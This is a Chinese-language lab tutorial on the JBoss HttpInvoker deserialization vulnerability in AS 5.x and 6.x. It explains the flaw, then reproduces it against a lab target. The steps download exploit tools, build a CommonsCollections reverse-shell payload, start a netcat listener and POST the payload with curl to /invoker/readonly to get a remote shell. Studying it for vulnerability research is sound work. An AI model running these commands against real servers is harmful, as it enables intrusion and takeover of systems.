JBoss反序列化
一、漏洞原理简介
漏洞描述:
存在于JBoss的
HttpInvoker
组件中的ReadOnlyAccessFilter
过滤器中。该过滤器在没有进行任何安全检查的情况下,尝试将来自客户端的数据流进行反序列化,从而导致了漏洞的产生。
漏洞存在版本:
JBoss AS 5.x
JBoss AS 6.x
漏洞原理分析:
在Red Hat Enterprise Application Platform 5.2附带的Jboss Application Server中,Http invoker组件的
ReadOnlyAccessFilter
的doFilter
方法不限制对其执行反序列化的类就可以使用代码来尝试对来自客户端的数据流(
request.getInputStream()
)进行反序列化操作。在这个过程中,因为没有进行任何安全检查,所以可以构造恶意的序列化数据,并在数据中包含任意代码。
当JBoss服务器尝试对恶意数据进行反序列化时,就会执行这些代码,从而实现远程代码执行。
二、漏洞复现
靶机:WinServer2012反序列化(中间件用)
在靶机的
C:\jboss-6.1.0.Final\bin
路径下,点击run.bat启动JBoss服务,然后在物理机浏览器访问靶机IP的8080端口
按下F12,刷新页面,可以看到JBoss版本为AS-6,所以猜测存在反序列化命令执行漏洞
由于这个漏洞存在于
/invoker/readonly
里面,所以我们尝试访问以下这个路径,但是发现报错
此时可以尝试使用工具进行验证,将URL填入工具的目标选项栏中,然后点击获取信息
工具下载地址:
https://cdn.vulhub.org/deserialization/DeserializeExploit.jar
检测存在后,就可以进行命令执行,上传webshell等操作
还可以用JavaDeserH2HC工具进行反弹shell的方式进行检测
工具下载地址(下载到kali里):
https://github.com/joaomatosf/JavaDeserH2HC
条件:kali上安装了jdk8环境
查询命令:
javac -version &&java -version
进入工具的文件夹,打开终端,输入以下命令,创建class文件:
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
监听kali的9999端口
nc -lvnp 9999
创建反序列化文件
192.168.1.10为kali的IP地址
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.1.10:9999
此时将生成的反序列化文件以POST方式,上传到靶机的/invoker/readonly
路径,此时即可反弹shell成功
curl http://192.168.1.4:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。